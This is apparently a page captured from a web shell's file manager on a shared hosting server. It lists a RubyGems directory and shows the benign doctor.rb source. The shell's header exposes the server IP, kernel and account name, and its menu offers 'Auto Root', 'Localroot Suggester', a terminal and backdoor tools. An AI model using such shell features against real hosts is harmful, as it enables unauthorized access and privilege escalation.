Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 18.119.103.40
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby27 /
share /
rubygems /
rubygems /
Delete
Unzip
Name
Size
Permission
Date
Action
commands
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
core_ext
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
defaults
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
ext
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
package
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
request
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
request_set
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
resolver
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
security
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
source
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
ssl_certs
[ DIR ]
drwxr-xr-x
2023-06-06 14:55
util
[ DIR ]
drwxr-xr-x
2024-03-03 22:47
available_set.rb
3.02
KB
-rw-r--r--
2023-03-30 12:34
basic_specification.rb
7.62
KB
-rw-r--r--
2023-03-30 12:34
bundler_version_finder.rb
2.97
KB
-rw-r--r--
2023-03-30 12:34
command.rb
15.79
KB
-rw-r--r--
2023-03-30 12:34
command_manager.rb
4.99
KB
-rw-r--r--
2023-03-30 12:34
compatibility.rb
1022
B
-rw-r--r--
2023-03-30 12:34
config_file.rb
12.69
KB
-rw-r--r--
2023-03-30 12:34
defaults.rb
4.76
KB
-rw-r--r--
2023-06-06 14:51
dependency.rb
8.64
KB
-rw-r--r--
2023-03-30 12:34
dependency_installer.rb
12
KB
-rw-r--r--
2023-03-30 12:34
dependency_list.rb
5.54
KB
-rw-r--r--
2023-03-30 12:34
deprecate.rb
1.75
KB
-rw-r--r--
2023-03-30 12:34
doctor.rb
3.06
KB
-rw-r--r--
2023-03-30 12:34
errors.rb
4.64
KB
-rw-r--r--
2023-03-30 12:34
exceptions.rb
6.49
KB
-rw-r--r--
2023-03-30 12:34
ext.rb
460
B
-rw-r--r--
2023-03-30 12:34
gem_runner.rb
2.18
KB
-rw-r--r--
2023-03-30 12:34
gemcutter_utilities.rb
5.16
KB
-rw-r--r--
2023-03-30 12:34
indexer.rb
11.29
KB
-rw-r--r--
2023-03-30 12:34
install_default_message.rb
336
B
-rw-r--r--
2023-03-30 12:34
install_message.rb
310
B
-rw-r--r--
2023-03-30 12:34
install_update_options.rb
6.26
KB
-rw-r--r--
2023-03-30 12:34
installer.rb
26.62
KB
-rw-r--r--
2023-03-30 12:34
installer_test_case.rb
4.8
KB
-rw-r--r--
2023-03-30 12:34
local_remote_options.rb
3.53
KB
-rw-r--r--
2023-03-30 12:34
mock_gem_ui.rb
1.38
KB
-rw-r--r--
2023-03-30 12:34
name_tuple.rb
2.42
KB
-rw-r--r--
2023-03-30 12:34
package.rb
17.99
KB
-rw-r--r--
2023-03-30 12:34
package_task.rb
3.8
KB
-rw-r--r--
2023-03-30 12:34
path_support.rb
1.88
KB
-rw-r--r--
2023-03-30 12:34
platform.rb
6.25
KB
-rw-r--r--
2023-03-30 12:34
psych_additions.rb
300
B
-rw-r--r--
2023-03-30 12:34
psych_tree.rb
796
B
-rw-r--r--
2023-03-30 12:34
rdoc.rb
524
B
-rw-r--r--
2023-03-30 12:34
remote_fetcher.rb
9.48
KB
-rw-r--r--
2023-03-30 12:34
request.rb
8.7
KB
-rw-r--r--
2023-03-30 12:34
request_set.rb
11.94
KB
-rw-r--r--
2023-03-30 12:34
requirement.rb
7.15
KB
-rw-r--r--
2023-03-30 12:34
resolver.rb
9.46
KB
-rw-r--r--
2023-03-30 12:34
s3_uri_signer.rb
5.93
KB
-rw-r--r--
2023-03-30 12:34
safe_yaml.rb
1.55
KB
-rw-r--r--
2023-03-30 12:34
security.rb
21.24
KB
-rw-r--r--
2023-03-30 12:34
security_option.rb
1.03
KB
-rw-r--r--
2023-03-30 12:34
server.rb
22.72
KB
-rw-r--r--
2023-03-30 12:34
source.rb
5.38
KB
-rw-r--r--
2023-03-30 12:34
source_list.rb
2.55
KB
-rw-r--r--
2023-03-30 12:34
source_local.rb
274
B
-rw-r--r--
2023-03-30 12:34
source_specific_file.rb
272
B
-rw-r--r--
2023-03-30 12:34
spec_fetcher.rb
6.3
KB
-rw-r--r--
2023-03-30 12:34
specification.rb
70.78
KB
-rw-r--r--
2023-03-30 12:34
specification_policy.rb
11.67
KB
-rw-r--r--
2023-03-30 12:34
stub_specification.rb
4.74
KB
-rw-r--r--
2023-03-30 12:34
syck_hack.rb
2.12
KB
-rw-r--r--
2023-03-30 12:34
test_case.rb
39.92
KB
-rw-r--r--
2023-03-30 12:34
test_utilities.rb
8.84
KB
-rw-r--r--
2023-03-30 12:34
text.rb
1.85
KB
-rw-r--r--
2023-03-30 12:34
uninstaller.rb
8.83
KB
-rw-r--r--
2023-03-30 12:34
uri_formatter.rb
778
B
-rw-r--r--
2023-03-30 12:34
uri_parser.rb
785
B
-rw-r--r--
2023-03-30 12:34
uri_parsing.rb
324
B
-rw-r--r--
2023-03-30 12:34
user_interaction.rb
13.3
KB
-rw-r--r--
2023-03-30 12:34
util.rb
2.41
KB
-rw-r--r--
2023-03-30 12:34
validator.rb
3.65
KB
-rw-r--r--
2023-03-30 12:34
version.rb
12.45
KB
-rw-r--r--
2023-03-30 12:34
version_option.rb
2.02
KB
-rw-r--r--
2023-03-30 12:34
Save
Rename
# frozen_string_literal: true require 'rubygems' require 'rubygems/user_interaction' ## # Cleans up after a partially-failed uninstall or for an invalid # Gem::Specification. # # If a specification was removed by hand this will remove any remaining files. # # If a corrupt specification was installed this will clean up warnings by # removing the bogus specification. class Gem::Doctor include Gem::UserInteraction ## # Maps a gem subdirectory to the files that are expected to exist in the # subdirectory. REPOSITORY_EXTENSION_MAP = [ # :nodoc: ['specifications', '.gemspec'], ['build_info', '.info'], ['cache', '.gem'], ['doc', ''], ['extensions', ''], ['gems', ''], ].freeze missing = Gem::REPOSITORY_SUBDIRECTORIES.sort - REPOSITORY_EXTENSION_MAP.map { |(k,_)| k }.sort raise "Update REPOSITORY_EXTENSION_MAP, missing: #{missing.join ', '}" unless missing.empty? ## # Creates a new Gem::Doctor that will clean up +gem_repository+. Only one # gem repository may be cleaned at a time. # # If +dry_run+ is true no files or directories will be removed. def initialize(gem_repository, dry_run = false) @gem_repository = gem_repository @dry_run = dry_run @installed_specs = nil end ## # Specs installed in this gem repository def installed_specs # :nodoc: @installed_specs ||= Gem::Specification.map { |s| s.full_name } end ## # Are we doctoring a gem repository? def gem_repository? not installed_specs.empty? end ## # Cleans up uninstalled files and invalid gem specifications def doctor @orig_home = Gem.dir @orig_path = Gem.path say "Checking #{@gem_repository}" Gem.use_paths @gem_repository.to_s unless gem_repository? say 'This directory does not appear to be a RubyGems repository, ' + 'skipping' say return end doctor_children say ensure Gem.use_paths @orig_home, *@orig_path end ## # Cleans up children of this gem repository def doctor_children # :nodoc: REPOSITORY_EXTENSION_MAP.each do |sub_directory, extension| doctor_child sub_directory, extension end end ## # Removes files in +sub_directory+ with +extension+ def doctor_child(sub_directory, extension) # :nodoc: directory = File.join(@gem_repository, sub_directory) Dir.entries(directory).sort.each do |ent| next if ent == "." || ent == ".." child = File.join(directory, ent) next unless File.exist?(child) basename = File.basename(child, extension) next if installed_specs.include? basename next if /^rubygems-\d/ =~ basename next if 'specifications' == sub_directory and 'default' == basename type = File.directory?(child) ? 'directory' : 'file' action = if @dry_run 'Extra' else FileUtils.rm_r(child) 'Removed' end say "#{action} #{type} #{sub_directory}/#{File.basename(child)}" end rescue Errno::ENOENT # ignore end end